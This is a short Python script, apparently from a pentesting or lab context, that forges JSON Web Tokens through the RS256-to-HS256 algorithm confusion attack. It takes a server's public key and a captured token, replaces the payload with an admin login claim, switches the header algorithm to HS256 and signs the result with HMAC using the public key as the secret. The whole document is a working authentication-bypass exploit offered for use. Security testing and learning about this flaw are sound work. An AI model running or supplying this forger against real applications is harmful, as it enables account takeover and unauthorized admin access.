A simple token crafter script to use when the server not verifying jwt algorithm.

RSA_2_HS256.py

#!/usr/bin/python3

import requests
import base64

import hmac
import hashlib

# Controls
keyFilePath = "KEY GOES HERE"
tokenFromApplication = "TOKEN GOES HERE" 


# Read the key
key = open(keyFilePath, "rb").read()

header, payload, signature = tokenFromApplication.split(".")


# {STEP1} Create a malicious payload (Ex: {"username": "admin"})
payload = base64.urlsafe_b64encode(b'{"login":"admin"}').decode("utf-8").strip("=")


# {STEP2} Set the header algorithm to HS256
header = base64.urlsafe_b64encode(b'{"typ":"JWT","alg":"HS256"}').decode("utf-8").strip("=")


# {STEP3} Concatenate the header + payload which makes DATA potion of the token
data = header + "." + payload


# {STEP4} Sign the DATA against the key using the HMAC algorithm
# HMAC sign solution found from => https://stackoverflow.com/a/53911060; Use the digest() instead of hexdigest() solution from PentesterLabs
new_signature = base64.urlsafe_b64encode(hmac.new(key, bytes(data, encoding='utf8'), hashlib.sha256).digest()).decode("utf-8").strip("=")


print("Crafted Token => ", data + "." + new_signature)